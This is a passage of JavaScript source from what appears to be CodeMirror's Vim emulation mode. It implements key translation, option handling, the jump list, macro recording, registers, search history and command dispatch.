    { name: 'nmap', shortName: 'nm' },
    { name: 'vmap', shortName: 'vm' },
    { name: 'unmap' },
    { name: 'write', shortName: 'w' },
    { name: 'undo', shortName: 'u' },
    { name: 'redo', shortName: 'red' },
    { name: 'set', shortName: 'se' },
    { name: 'set', shortName: 'se' },
    { name: 'setlocal', shortName: 'setl' },
    { name: 'setglobal', shortName: 'setg' },
    { name: 'sort', shortName: 'sor' },
    { name: 'substitute', shortName: 's', possiblyAsync: true },
    { name: 'nohlsearch', shortName: 'noh' },
    { name: 'delmarks', shortName: 'delm' },
    { name: 'registers', shortName: 'reg', excludeFromCommandHistory: true },
    { name: 'global', shortName: 'g' }
  ];

  var Pos = CodeMirror.Pos;

  var Vim = function() {
    function enterVimMode(cm) {
      cm.setOption('disableInput', true);
      cm.setOption('showCursorWhenSelecting', false);
      CodeMirror.signal(cm, "vim-mode-change", {mode: "normal"});
      cm.on('cursorActivity', onCursorActivity);
      maybeInitVimState(cm);
      CodeMirror.on(cm.getInputField(), 'paste', getOnPasteFn(cm));
    }

    function leaveVimMode(cm) {
      cm.setOption('disableInput', false);
      cm.off('cursorActivity', onCursorActivity);
      CodeMirror.off(cm.getInputField(), 'paste', getOnPasteFn(cm));
      cm.state.vim = null;
    }

    function detachVimMap(cm, next) {
      if (this == CodeMirror.keyMap.vim)
        CodeMirror.rmClass(cm.getWrapperElement(), "cm-fat-cursor");

      if (!next || next.attach != attachVimMap)
        leaveVimMode(cm, false);
    }
    function attachVimMap(cm, prev) {
      if (this == CodeMirror.keyMap.vim)
        CodeMirror.addClass(cm.getWrapperElement(), "cm-fat-cursor");

      if (!prev || prev.attach != attachVimMap)
        enterVimMode(cm);
    }

    // Deprecated, simply setting the keymap works again.
    CodeMirror.defineOption('vimMode', false, function(cm, val, prev) {
      if (val && cm.getOption("keyMap") != "vim")
        cm.setOption("keyMap", "vim");
      else if (!val && prev != CodeMirror.Init && /^vim/.test(cm.getOption("keyMap")))
        cm.setOption("keyMap", "default");
    });

    function cmKey(key, cm) {
      if (!cm) { return undefined; }
      var vimKey = cmKeyToVimKey(key);
      if (!vimKey) {
        return false;
      }
      var cmd = CodeMirror.Vim.findKey(cm, vimKey);
      if (typeof cmd == 'function') {
        CodeMirror.signal(cm, 'vim-keypress', vimKey);
      }
      return cmd;
    }

    var modifiers = {'Shift': 'S', 'Ctrl': 'C', 'Alt': 'A', 'Cmd': 'D', 'Mod': 'A'};
    var specialKeys = {Enter:'CR',Backspace:'BS',Delete:'Del'};
    function cmKeyToVimKey(key) {
      if (key.charAt(0) == '\'') {
        // Keypress character binding of format "'a'"
        return key.charAt(1);
      }
      var pieces = key.split('-');
      if (/-$/.test(key)) {
        // If the - key was typed, split will result in 2 extra empty strings
        // in the array. Replace them with 1 '-'.
        pieces.splice(-2, 2, '-');
      }
      var lastPiece = pieces[pieces.length - 1];
      if (pieces.length == 1 && pieces[0].length == 1) {
        // No-modifier bindings use literal character bindings above. Skip.
        return false;
      } else if (pieces.length == 2 && pieces[0] == 'Shift' && lastPiece.length == 1) {
        // Ignore Shift+char bindings as they should be handled by literal character.
        return false;
      }
      var hasCharacter = false;
      for (var i = 0; i < pieces.length; i++) {
        var piece = pieces[i];
        if (piece in modifiers) { pieces[i] = modifiers[piece]; }
        else { hasCharacter = true; }
        if (piece in specialKeys) { pieces[i] = specialKeys[piece]; }
      }
      if (!hasCharacter) {
        // Vim does not support modifier only keys.
        return false;
      }
      // TODO: Current bindings expect the character to be lower case, but
      // it looks like vim key notation uses upper case.
      if (isUpperCase(lastPiece)) {
        pieces[pieces.length - 1] = lastPiece.toLowerCase();
      }
      return '<' + pieces.join('-') + '>';
    }

    function getOnPasteFn(cm) {
      var vim = cm.state.vim;
      if (!vim.onPasteFn) {
        vim.onPasteFn = function() {
          if (!vim.insertMode) {
            cm.setCursor(offsetCursor(cm.getCursor(), 0, 1));
            actions.enterInsertMode(cm, {}, vim);
          }
        };
      }
      return vim.onPasteFn;
    }

    var numberRegex = /[\d]/;
    var wordCharTest = [CodeMirror.isWordChar, function(ch) {
      return ch && !CodeMirror.isWordChar(ch) && !/\s/.test(ch);
    }], bigWordCharTest = [function(ch) {
      return /\S/.test(ch);
    }];
    function makeKeyRange(start, size) {
      var keys = [];
      for (var i = start; i < start + size; i++) {
        keys.push(String.fromCharCode(i));
      }
      return keys;
    }
    var upperCaseAlphabet = makeKeyRange(65, 26);
    var lowerCaseAlphabet = makeKeyRange(97, 26);
    var numbers = makeKeyRange(48, 10);
    var validMarks = [].concat(upperCaseAlphabet, lowerCaseAlphabet, numbers, ['<', '>']);
    var validRegisters = [].concat(upperCaseAlphabet, lowerCaseAlphabet, numbers, ['-', '"', '.', ':', '/']);

    function isLine(cm, line) {
      return line >= cm.firstLine() && line <= cm.lastLine();
    }
    function isLowerCase(k) {
      return (/^[a-z]$/).test(k);
    }
    function isMatchableSymbol(k) {
      return '()[]{}'.indexOf(k) != -1;
    }
    function isNumber(k) {
      return numberRegex.test(k);
    }
    function isUpperCase(k) {
      return (/^[A-Z]$/).test(k);
    }
    function isWhiteSpaceString(k) {
      return (/^\s*$/).test(k);
    }
    function inArray(val, arr) {
      for (var i = 0; i < arr.length; i++) {
        if (arr[i] == val) {
          return true;
        }
      }
      return false;
    }

    var options = {};
    function defineOption(name, defaultValue, type, aliases, callback) {
      if (defaultValue === undefined && !callback) {
        throw Error('defaultValue is required unless callback is provided');
      }
      if (!type) { type = 'string'; }
      options[name] = {
        type: type,
        defaultValue: defaultValue,
        callback: callback
      };
      if (aliases) {
        for (var i = 0; i < aliases.length; i++) {
          options[aliases[i]] = options[name];
        }
      }
      if (defaultValue) {
        setOption(name, defaultValue);
      }
    }

    function setOption(name, value, cm, cfg) {
      var option = options[name];
      cfg = cfg || {};
      var scope = cfg.scope;
      if (!option) {
        throw Error('Unknown option: ' + name);
      }
      if (option.type == 'boolean') {
        if (value && value !== true) {
          throw Error('Invalid argument: ' + name + '=' + value);
        } else if (value !== false) {
          // Boolean options are set to true if value is not defined.
          value = true;
        }
      }
      if (option.callback) {
        if (scope !== 'local') {
          option.callback(value, undefined);
        }
        if (scope !== 'global' && cm) {
          option.callback(value, cm);
        }
      } else {
        if (scope !== 'local') {
          option.value = option.type == 'boolean' ? !!value : value;
        }
        if (scope !== 'global' && cm) {
          cm.state.vim.options[name] = {value: value};
        }
      }
    }

    function getOption(name, cm, cfg) {
      var option = options[name];
      cfg = cfg || {};
      var scope = cfg.scope;
      if (!option) {
        throw Error('Unknown option: ' + name);
      }
      if (option.callback) {
        var local = cm && option.callback(undefined, cm);
        if (scope !== 'global' && local !== undefined) {
          return local;
        }
        if (scope !== 'local') {
          return option.callback();
        }
        return;
      } else {
        var local = (scope !== 'global') && (cm && cm.state.vim.options[name]);
        return (local || (scope !== 'local') && option || {}).value;
      }
    }

    defineOption('filetype', undefined, 'string', ['ft'], function(name, cm) {
      // Option is local. Do nothing for global.
      if (cm === undefined) {
        return;
      }
      // The 'filetype' option proxies to the CodeMirror 'mode' option.
      if (name === undefined) {
        var mode = cm.getOption('mode');
        return mode == 'null' ? '' : mode;
      } else {
        var mode = name == '' ? 'null' : name;
        cm.setOption('mode', mode);
      }
    });

    var createCircularJumpList = function() {
      var size = 100;
      var pointer = -1;
      var head = 0;
      var tail = 0;
      var buffer = new Array(size);
      function add(cm, oldCur, newCur) {
        var current = pointer % size;
        var curMark = buffer[current];
        function useNextSlot(cursor) {
          var next = ++pointer % size;
          var trashMark = buffer[next];
          if (trashMark) {
            trashMark.clear();
          }
          buffer[next] = cm.setBookmark(cursor);
        }
        if (curMark) {
          var markPos = curMark.find();
          // avoid recording redundant cursor position
          if (markPos && !cursorEqual(markPos, oldCur)) {
            useNextSlot(oldCur);
          }
        } else {
          useNextSlot(oldCur);
        }
        useNextSlot(newCur);
        head = pointer;
        tail = pointer - size + 1;
        if (tail < 0) {
          tail = 0;
        }
      }
      function move(cm, offset) {
        pointer += offset;
        if (pointer > head) {
          pointer = head;
        } else if (pointer < tail) {
          pointer = tail;
        }
        var mark = buffer[(size + pointer) % size];
        // skip marks that are temporarily removed from text buffer
        if (mark && !mark.find()) {
          var inc = offset > 0 ? 1 : -1;
          var newCur;
          var oldCur = cm.getCursor();
          do {
            pointer += inc;
            mark = buffer[(size + pointer) % size];
            // skip marks that are the same as current position
            if (mark &&
                (newCur = mark.find()) &&
                !cursorEqual(oldCur, newCur)) {
              break;
            }
          } while (pointer < head && pointer > tail);
        }
        return mark;
      }
      return {
        cachedCursor: undefined, //used for # and * jumps
        add: add,
        move: move
      };
    };

    // Returns an object to track the changes associated insert mode.  It
    // clones the object that is passed in, or creates an empty object one if
    // none is provided.
    var createInsertModeChanges = function(c) {
      if (c) {
        // Copy construction
        return {
          changes: c.changes,
          expectCursorActivityForChange: c.expectCursorActivityForChange
        };
      }
      return {
        // Change list
        changes: [],
        // Set to true on change, false on cursorActivity.
        expectCursorActivityForChange: false
      };
    };

    function MacroModeState() {
      this.latestRegister = undefined;
      this.isPlaying = false;
      this.isRecording = false;
      this.replaySearchQueries = [];
      this.onRecordingDone = undefined;
      this.lastInsertModeChanges = createInsertModeChanges();
    }
    MacroModeState.prototype = {
      exitMacroRecordMode: function() {
        var macroModeState = vimGlobalState.macroModeState;
        if (macroModeState.onRecordingDone) {
          macroModeState.onRecordingDone(); // close dialog
        }
        macroModeState.onRecordingDone = undefined;
        macroModeState.isRecording = false;
      },
      enterMacroRecordMode: function(cm, registerName) {
        var register =
            vimGlobalState.registerController.getRegister(registerName);
        if (register) {
          register.clear();
          this.latestRegister = registerName;
          if (cm.openDialog) {
            this.onRecordingDone = cm.openDialog(
                '(recording)['+registerName+']', null, {bottom:true});
          }
          this.isRecording = true;
        }
      }
    };

    function maybeInitVimState(cm) {
      if (!cm.state.vim) {
        // Store instance state in the CodeMirror object.
        cm.state.vim = {
          inputState: new InputState(),
          // Vim's input state that triggered the last edit, used to repeat
          // motions and operators with '.'.
          lastEditInputState: undefined,
          // Vim's action command before the last edit, used to repeat actions
          // with '.' and insert mode repeat.
          lastEditActionCommand: undefined,
          // When using jk for navigation, if you move from a longer line to a
          // shorter line, the cursor may clip to the end of the shorter line.
          // If j is pressed again and cursor goes to the next line, the
          // cursor should go back to its horizontal position on the longer
          // line if it can. This is to keep track of the horizontal position.
          lastHPos: -1,
          // Doing the same with screen-position for gj/gk
          lastHSPos: -1,
          // The last motion command run. Cleared if a non-motion command gets
          // executed in between.
          lastMotion: null,
          marks: {},
          // Mark for rendering fake cursor for visual mode.
          fakeCursor: null,
          insertMode: false,
          // Repeat count for changes made in insert mode, triggered by key
          // sequences like 3,i. Only exists when insertMode is true.
          insertModeRepeat: undefined,
          visualMode: false,
          // If we are in visual line mode. No effect if visualMode is false.
          visualLine: false,
          visualBlock: false,
          lastSelection: null,
          lastPastedText: null,
          sel: {},
          // Buffer-local/window-local values of vim options.
          options: {}
        };
      }
      return cm.state.vim;
    }
    var vimGlobalState;
    function resetVimGlobalState() {
      vimGlobalState = {
        // The current search query.
        searchQuery: null,
        // Whether we are searching backwards.
        searchIsReversed: false,
        // Replace part of the last substituted pattern
        lastSubstituteReplacePart: undefined,
        jumpList: createCircularJumpList(),
        macroModeState: new MacroModeState,
        // Recording latest f, t, F or T motion command.
        lastChararacterSearch: {increment:0, forward:true, selectedCharacter:''},
        registerController: new RegisterController({}),
        // search history buffer
        searchHistoryController: new HistoryController({}),
        // ex Command history buffer
        exCommandHistoryController : new HistoryController({})
      };
      for (var optionName in options) {
        var option = options[optionName];
        option.value = option.defaultValue;
      }
    }

    var lastInsertModeKeyTimer;
    var vimApi= {
      buildKeyMap: function() {
        // TODO: Convert keymap into dictionary format for fast lookup.
      },
      // Testing hook, though it might be useful to expose the register
      // controller anyways.
      getRegisterController: function() {
        return vimGlobalState.registerController;
      },
      // Testing hook.
      resetVimGlobalState_: resetVimGlobalState,

      // Testing hook.
      getVimGlobalState_: function() {
        return vimGlobalState;
      },

      // Testing hook.
      maybeInitVimState_: maybeInitVimState,

      suppressErrorLogging: false,

      InsertModeKey: InsertModeKey,
      map: function(lhs, rhs, ctx) {
        // Add user defined key bindings.
        exCommandDispatcher.map(lhs, rhs, ctx);
      },
      // TODO: Expose setOption and getOption as instance methods. Need to decide how to namespace
      // them, or somehow make them work with the existing CodeMirror setOption/getOption API.
      setOption: setOption,
      getOption: getOption,
      defineOption: defineOption,
      defineEx: function(name, prefix, func){
        if (!prefix) {
          prefix = name;
        } else if (name.indexOf(prefix) !== 0) {
          throw new Error('(Vim.defineEx) "'+prefix+'" is not a prefix of "'+name+'", command not registered');
        }
        exCommands[name]=func;
        exCommandDispatcher.commandMap_[prefix]={name:name, shortName:prefix, type:'api'};
      },
      handleKey: function (cm, key, origin) {
        var command = this.findKey(cm, key, origin);
        if (typeof command === 'function') {
          return command();
        }
      },
      /**
       * This is the outermost function called by CodeMirror, after keys have
       * been mapped to their Vim equivalents.
       *
       * Finds a command based on the key (and cached keys if there is a
       * multi-key sequence). Returns `undefined` if no key is matched, a noop
       * function if a partial match is found (multi-key), and a function to
       * execute the bound command if a a key is matched. The function always
       * returns true.
       */
      findKey: function(cm, key, origin) {
        var vim = maybeInitVimState(cm);
        function handleMacroRecording() {
          var macroModeState = vimGlobalState.macroModeState;
          if (macroModeState.isRecording) {
            if (key == 'q') {
              macroModeState.exitMacroRecordMode();
              clearInputState(cm);
              return true;
            }
            if (origin != 'mapping') {
              logKey(macroModeState, key);
            }
          }
        }
        function handleEsc() {
          if (key == '<Esc>') {
            // Clear input state and get back to normal mode.
            clearInputState(cm);
            if (vim.visualMode) {
              exitVisualMode(cm);
            } else if (vim.insertMode) {
              exitInsertMode(cm);
            }
            return true;
          }
        }
        function doKeyToKey(keys) {
          // TODO: prevent infinite recursion.
          var match;
          while (keys) {
            // Pull off one command key, which is either a single character
            // or a special sequence wrapped in '<' and '>', e.g. '<Space>'.
            match = (/<\w+-.+?>|<\w+>|./).exec(keys);
            key = match[0];
            keys = keys.substring(match.index + key.length);
            CodeMirror.Vim.handleKey(cm, key, 'mapping');
          }
        }

        function handleKeyInsertMode() {
          if (handleEsc()) { return true; }
          var keys = vim.inputState.keyBuffer = vim.inputState.keyBuffer + key;
          var keysAreChars = key.length == 1;
          var match = commandDispatcher.matchCommand(keys, defaultKeymap, vim.inputState, 'insert');
          // Need to check all key substrings in insert mode.
          while (keys.length > 1 && match.type != 'full') {
            var keys = vim.inputState.keyBuffer = keys.slice(1);
            var thisMatch = commandDispatcher.matchCommand(keys, defaultKeymap, vim.inputState, 'insert');
            if (thisMatch.type != 'none') { match = thisMatch; }
          }
          if (match.type == 'none') { clearInputState(cm); return false; }
          else if (match.type == 'partial') {
            if (lastInsertModeKeyTimer) { window.clearTimeout(lastInsertModeKeyTimer); }
            lastInsertModeKeyTimer = window.setTimeout(
              function() { if (vim.insertMode && vim.inputState.keyBuffer) { clearInputState(cm); } },
              getOption('insertModeEscKeysTimeout'));
            return !keysAreChars;
          }

          if (lastInsertModeKeyTimer) { window.clearTimeout(lastInsertModeKeyTimer); }
          if (keysAreChars) {
            var here = cm.getCursor();
            cm.replaceRange('', offsetCursor(here, 0, -(keys.length - 1)), here, '+input');
          }
          clearInputState(cm);
          return match.command;
        }

        function handleKeyNonInsertMode() {
          if (handleMacroRecording() || handleEsc()) { return true; };

          var keys = vim.inputState.keyBuffer = vim.inputState.keyBuffer + key;
          if (/^[1-9]\d*$/.test(keys)) { return true; }

          var keysMatcher = /^(\d*)(.*)$/.exec(keys);
          if (!keysMatcher) { clearInputState(cm); return false; }
          var context = vim.visualMode ? 'visual' :
                                         'normal';
          var match = commandDispatcher.matchCommand(keysMatcher[2] || keysMatcher[1], defaultKeymap, vim.inputState, context);
          if (match.type == 'none') { clearInputState(cm); return false; }
          else if (match.type == 'partial') { return true; }

          vim.inputState.keyBuffer = '';
          var keysMatcher = /^(\d*)(.*)$/.exec(keys);
          if (keysMatcher[1] && keysMatcher[1] != '0') {
            vim.inputState.pushRepeatDigit(keysMatcher[1]);
          }
          return match.command;
        }

        var command;
        if (vim.insertMode) { command = handleKeyInsertMode(); }
        else { command = handleKeyNonInsertMode(); }
        if (command === false) {
          return undefined;
        } else if (command === true) {
          // TODO: Look into using CodeMirror's multi-key handling.
          // Return no-op since we are caching the key. Counts as handled, but
          // don't want act on it just yet.
          return function() {};
        } else {
          return function() {
            return cm.operation(function() {
              cm.curOp.isVimOp = true;
              try {
                if (command.type == 'keyToKey') {
                  doKeyToKey(command.toKeys);
                } else {
                  commandDispatcher.processCommand(cm, vim, command);
                }
              } catch (e) {
                // clear VIM state in case it's in a bad state.
                cm.state.vim = undefined;
                maybeInitVimState(cm);
                if (!CodeMirror.Vim.suppressErrorLogging) {
                  console['log'](e);
                }
                throw e;
              }
              return true;
            });
          };
        }
      },
      handleEx: function(cm, input) {
        exCommandDispatcher.processCommand(cm, input);
      },

      defineMotion: defineMotion,
      defineAction: defineAction,
      defineOperator: defineOperator,
      mapCommand: mapCommand,
      _mapCommand: _mapCommand,

      defineRegister: defineRegister,

      exitVisualMode: exitVisualMode,
      exitInsertMode: exitInsertMode
    };

    // Represents the current input state.
    function InputState() {
      this.prefixRepeat = [];
      this.motionRepeat = [];

      this.operator = null;
      this.operatorArgs = null;
      this.motion = null;
      this.motionArgs = null;
      this.keyBuffer = []; // For matching multi-key commands.
      this.registerName = null; // Defaults to the unnamed register.
    }
    InputState.prototype.pushRepeatDigit = function(n) {
      if (!this.operator) {
        this.prefixRepeat = this.prefixRepeat.concat(n);
      } else {
        this.motionRepeat = this.motionRepeat.concat(n);
      }
    };
    InputState.prototype.getRepeat = function() {
      var repeat = 0;
      if (this.prefixRepeat.length > 0 || this.motionRepeat.length > 0) {
        repeat = 1;
        if (this.prefixRepeat.length > 0) {
          repeat *= parseInt(this.prefixRepeat.join(''), 10);
        }
        if (this.motionRepeat.length > 0) {
          repeat *= parseInt(this.motionRepeat.join(''), 10);
        }
      }
      return repeat;
    };

    function clearInputState(cm, reason) {
      cm.state.vim.inputState = new InputState();
      CodeMirror.signal(cm, 'vim-command-done', reason);
    }

    /*
     * Register stores information about copy and paste registers.  Besides
     * text, a register must store whether it is linewise (i.e., when it is
     * pasted, should it insert itself into a new line, or should the text be
     * inserted at the cursor position.)
     */
    function Register(text, linewise, blockwise) {
      this.clear();
      this.keyBuffer = [text || ''];
      this.insertModeChanges = [];
      this.searchQueries = [];
      this.linewise = !!linewise;
      this.blockwise = !!blockwise;
    }
    Register.prototype = {
      setText: function(text, linewise, blockwise) {
        this.keyBuffer = [text || ''];
        this.linewise = !!linewise;
        this.blockwise = !!blockwise;
      },
      pushText: function(text, linewise) {
        // if this register has ever been set to linewise, use linewise.
        if (linewise) {
          if (!this.linewise) {
            this.keyBuffer.push('\n');
          }
          this.linewise = true;
        }
        this.keyBuffer.push(text);
      },
      pushInsertModeChanges: function(changes) {
        this.insertModeChanges.push(createInsertModeChanges(changes));
      },
      pushSearchQuery: function(query) {
        this.searchQueries.push(query);
      },
      clear: function() {
        this.keyBuffer = [];
        this.insertModeChanges = [];
        this.searchQueries = [];
        this.linewise = false;
      },
      toString: function() {
        return this.keyBuffer.join('');
      }
    };

    /**
     * Defines an external register.
     *
     * The name should be a single character that will be used to reference the register.
     * The register should support setText, pushText, clear, and toString(). See Register
     * for a reference implementation.
     */
    function defineRegister(name, register) {
      var registers = vimGlobalState.registerController.registers[name];
      if (!name || name.length != 1) {
        throw Error('Register name must be 1 character');
      }
      if (registers[name]) {
        throw Error('Register already defined ' + name);
      }
      registers[name] = register;
      validRegisters.push(name);
    }

    /*
     * vim registers allow you to keep many independent copy and paste buffers.
     * See http://usevim.com/2012/04/13/registers/ for an introduction.
     *
     * RegisterController keeps the state of all the registers.  An initial
     * state may be passed in.  The unnamed register '"' will always be
     * overridden.
     */
    function RegisterController(registers) {
      this.registers = registers;
      this.unnamedRegister = registers['"'] = new Register();
      registers['.'] = new Register();
      registers[':'] = new Register();
      registers['/'] = new Register();
    }
    RegisterController.prototype = {
      pushText: function(registerName, operator, text, linewise, blockwise) {
        if (linewise && text.charAt(0) == '\n') {
          text = text.slice(1) + '\n';
        }
        if (linewise && text.charAt(text.length - 1) !== '\n'){
          text += '\n';
        }
        // Lowercase and uppercase registers refer to the same register.
        // Uppercase just means append.
        var register = this.isValidRegister(registerName) ?
            this.getRegister(registerName) : null;
        // if no register/an invalid register was specified, things go to the
        // default registers
        if (!register) {
          switch (operator) {
            case 'yank':
              // The 0 register contains the text from the most recent yank.
              this.registers['0'] = new Register(text, linewise, blockwise);
              break;
            case 'delete':
            case 'change':
              if (text.indexOf('\n') == -1) {
                // Delete less than 1 line. Update the small delete register.
                this.registers['-'] = new Register(text, linewise);
              } else {
                // Shift down the contents of the numbered registers and put the
                // deleted text into register 1.
                this.shiftNumericRegisters_();
                this.registers['1'] = new Register(text, linewise);
              }
              break;
          }
          // Make sure the unnamed register is set to what just happened
          this.unnamedRegister.setText(text, linewise, blockwise);
          return;
        }

        // If we've gotten to this point, we've actually specified a register
        var append = isUpperCase(registerName);
        if (append) {
          register.pushText(text, linewise);
        } else {
          register.setText(text, linewise, blockwise);
        }
        // The unnamed register always has the same value as the last used
        // register.
        this.unnamedRegister.setText(register.toString(), linewise);
      },
      // Gets the register named @name.  If one of @name doesn't already exist,
      // create it.  If @name is invalid, return the unnamedRegister.
      getRegister: function(name) {
        if (!this.isValidRegister(name)) {
          return this.unnamedRegister;
        }
        name = name.toLowerCase();
        if (!this.registers[name]) {
          this.registers[name] = new Register();
        }
        return this.registers[name];
      },
      isValidRegister: function(name) {
        return name && inArray(name, validRegisters);
      },
      shiftNumericRegisters_: function() {
        for (var i = 9; i >= 2; i--) {
          this.registers[i] = this.getRegister('' + (i - 1));
        }
      }
    };
    function HistoryController() {
        this.historyBuffer = [];
        this.iterator;
        this.initialPrefix = null;
    }
    HistoryController.prototype = {
      // the input argument here acts a user entered prefix for a small time
      // until we start autocompletion in which case it is the autocompleted.
      nextMatch: function (input, up) {
        var historyBuffer = this.historyBuffer;
        var dir = up ? -1 : 1;
        if (this.initialPrefix === null) this.initialPrefix = input;
        for (var i = this.iterator + dir; up ? i >= 0 : i < historyBuffer.length; i+= dir) {
          var element = historyBuffer[i];
          for (var j = 0; j <= element.length; j++) {
            if (this.initialPrefix == element.substring(0, j)) {
              this.iterator = i;
              return element;
            }
          }
        }
        // should return the user input in case we reach the end of buffer.
        if (i >= historyBuffer.length) {
          this.iterator = historyBuffer.length;
          return this.initialPrefix;
        }
        // return the last autocompleted query or exCommand as it is.
        if (i < 0 ) return input;
      },
      pushInput: function(input) {
        var index = this.historyBuffer.indexOf(input);
        if (index > -1) this.historyBuffer.splice(index, 1);
        if (input.length) this.historyBuffer.push(input);
      },
      reset: function() {
        this.initialPrefix = null;
        this.iterator = this.historyBuffer.length;
      }
    };
    var commandDispatcher = {
      matchCommand: function(keys, keyMap, inputState, context) {
        var matches = commandMatches(keys, keyMap, context, inputState);
        if (!matches.full && !matches.partial) {
          return {type: 'none'};
        } else if (!matches.full && matches.partial) {
          return {type: 'partial'};
        }

        var bestMatch;
        for (var i = 0; i < matches.full.length; i++) {
          var match = matches.full[i];
          if (!bestMatch) {
            bestMatch = match;
          }
        }
        if (bestMatch.keys.slice(-11) == '<character>') {
          inputState.selectedCharacter = lastChar(keys);
        }
        return {type: 'full', command: bestMatch};
      },
      processCommand: function(cm, vim, command) {
        vim.inputState.repeatOverride = command.repeatOverride;
        switch (command.type) {
          case 'motion':
            this.processMotion(cm, vim, command);
            break;
          case 'operator':
            this.processOperator(cm, vim, command);
            break;
          case 'operatorMotion':
            this.processOperatorMotion(cm, vim, command);
            break;
          case 'action':
            this.processAction(cm, vim, command);
            break;
          case 'search':
            this.processSearch(cm, vim, command);
            break;
          case 'ex':
          case 'keyToEx':
            this.processEx(cm, vim, command);
            break;
          default:
            break;
        }
      },
      processMotion: function(cm, vim, command) {
        vim.inputState.motion = command.motion;
        vim.inputState.motionArgs = copyArgs(command.motionArgs);
        this.evalInput(cm, vim);
      },
      processOperator: function(cm, vim, command) {
        var inputState = vim.inputState;
        if (inputState.operator) {
          if (inputState.operator == command.operator) {
            // Typing an operator twice like 'dd' makes the operator operate
            // linewise
            inputState.motion = 'expandToLine';
            inputState.motionArgs = { linewise: true };
            this.evalInput(cm, vim);
            return;
          } else {
            // 2 different operators in a row doesn't make sense.
            clearInputState(cm);
          }
        }
        inputState.operator = command.operator;
        inputState.operatorArgs = copyArgs(command.operatorArgs);
        if (vim.visualMode) {
          // Operating on a selection in visual mode. We don't need a motion.
          this.evalInput(cm, vim);
        }
      },
      processOperatorMotion: function(cm, vim, command) {
        var visualMode = vim.visualMode;
        var operatorMotionArgs = copyArgs(command.operatorMotionArgs);
        if (operatorMotionArgs) {
          // Operator motions may have special behavior in visual mode.
          if (visualMode && operatorMotionArgs.visualLine) {
            vim.visualLine = true;
          }
        }
        this.processOperator(cm, vim, command);
        if (!visualMode) {
          this.processMotion(cm, vim, command);
        }
      },
      processAction: function(cm, vim, command) {
        var inputState = vim.inputState;
        var repeat = inputState.getRepeat();
        var repeatIsExplicit = !!repeat;
        var actionArgs = copyArgs(command.actionArgs) || {};
        if (inputState.selectedCharacter) {
          actionArgs.selectedCharacter = inputState.selectedCharacter;
        }
        // Actions may or may not have motions and operators. Do these first.
        if (command.operator) {
          this.processOperator(cm, vim, command);
        }
        if (command.motion) {
          this.processMotion(cm, vim, command);
        }
        if (command.motion || command.operator) {
          this.evalInput(cm, vim);
        }
        actionArgs.repeat = repeat || 1;
        actionArgs.repeatIsExplicit = repeatIsExplicit;
        actionArgs.registerName = inputState.registerName;
        clearInputState(cm);
        vim.lastMotion = null;
        if (command.isEdit) {
          this.recordLastEdit(vim, inputState, command);
        }
        actions[command.action](cm, actionArgs, vim);
      },
      processSearch: function(cm, vim, command) {
        if (!cm.getSearchCursor) {
          // Search depends on SearchCursor.
          return;
        }
        var forward = command.searchArgs.forward;
        var wholeWordOnly = command.searchArgs.wholeWordOnly;
        getSearchState(cm).setReversed(!forward);
        var promptPrefix = (forward) ? '/' : '?';
        var originalQuery = getSearchState(cm).getQuery();
        var originalScrollPos = cm.getScrollInfo();
        function handleQuery(query, ignoreCase, smartCase) {
          vimGlobalState.searchHistoryController.pushInput(query);
          vimGlobalState.searchHistoryController.reset();
          try {
            updateSearchQuery(cm, query, ignoreCase, smartCase);
          } catch (e) {
            showConfirm(cm, 'Invalid regex: ' + query);
            clearInputState(cm);
            return;
          }
          commandDispatcher.processMotion(cm, vim, {
            type: 'motion',
            motion: 'findNext',
            motionArgs: { forward: true, toJumplist: command.searchArgs.toJumplist }
          });
        }
        function onPromptClose(query) {
          cm.scrollTo(originalScrollPos.left, originalScrollPos.top);
          handleQuery(query, true /** ignoreCase */, true /** smartCase */);
          var macroModeState = vimGlobalState.macroModeState;
          if (macroModeState.isRecording) {
            logSearchQuery(macroModeState, query);
          }
        }
        function onPromptKeyUp(e, query, close) {
          var keyName = CodeMirror.keyName(e), up;
          if (keyName == 'Up' || keyName == 'Down') {
            up = keyName == 'Up' ? true : false;
            query = vimGlobalState.searchHistoryController.nextMatch(query, up) || '';
            close(query);
          } else {
            if ( keyName != 'Left' && keyName != 'Right' && keyName != 'Ctrl' && keyName != 'Alt' && keyName != 'Shift')
              vimGlobalState.searchHistoryController.reset();
          }
          var parsedQuery;
          try {
            parsedQuery = updateSearchQuery(cm, query,
                true /** ignoreCase */, true /** smartCase */);
          } catch (e) {
            // Swallow bad regexes for incremental search.
          }
          if (parsedQuery) {
            cm.scrollIntoView(findNext(cm, !forward, parsedQuery), 30);
          } else {
            clearSearchHighlight(cm);
            cm.scrollTo(originalScrollPos.left, originalScrollPos.top);
          }
        }
        function onPromptKeyDown(e, query, close) {
          var keyName = CodeMirror.keyName(e);
          if (keyName == 'Esc' || keyName == 'Ctrl-C' || keyName == 'Ctrl-[' ||
              (keyName == 'Backspace' && query == '')) {
            vimGlobalState.searchHistoryController.pushInput(query);
            vimGlobalState.searchHistoryController.reset();
            updateSearchQuery(cm, originalQuery);
            clearSearchHighlight(cm);
            cm.scrollTo(originalScrollPos.left, originalScrollPos.top);
            CodeMirror.e_stop(e);
            clearInputState(cm);
            close();
            cm.focus();
          } else if (keyName == 'Ctrl-U') {
            // Ctrl-U clears input.
            CodeMirror.e_stop(e);
            close('');
          }
        }
        switch (command.searchArgs.querySrc) {
          case 'prompt':
            var macroModeState = vimGlobalState.macroModeState;
            if (macroModeState.isPlaying) {
              var query = macroModeState.replaySearchQueries.shift();
              handleQuery(query, true /** ignoreCase */, false /** smartCase */);
            } else {
              showPrompt(cm, {
                  onClose: onPromptClose,
                  prefix: promptPrefix,
                  desc: searchPromptDesc,
                  onKeyUp: onPromptKeyUp,
                  onKeyDown: onPromptKeyDown
              });
            }
            break;
          case 'wordUnderCursor':
            var word = expandWordUnderCursor(cm, false /** inclusive */,
                true /** forward */, false /** bigWord */,
                true /** noSymbol */);
            var isKeyword = true;
            if (!word) {
              word = expandWordUnderCursor(cm, false /** inclusive */,
                  true /** forward */, false /** bigWord */,
                  false /** noSymbol */);
              isKeyword = false;
            }
            if (!word) {
              return;
            }
            var query = cm.getLine(word.start.line).substring(word.start.ch,
                word.end.ch);
            if (isKeyword && wholeWordOnly) {
                query = '\\b' + query + '\\b';
            } else {
              query = escapeRegex(query);
            }

            // cachedCursor is used to save the old position of the cursor
            // when * or # causes vim to seek for the nearest word and shift
            // the cursor before entering the motion.
            vimGlobalState.jumpList.cachedCursor = cm.getCursor();
            cm.setCursor(word.start);

            handleQuery(query, true /** ignoreCase */, false /** smartCase */);
            break;
        }
      },
      processEx: function(cm, vim, command) {
        function onPromptClose(input) {
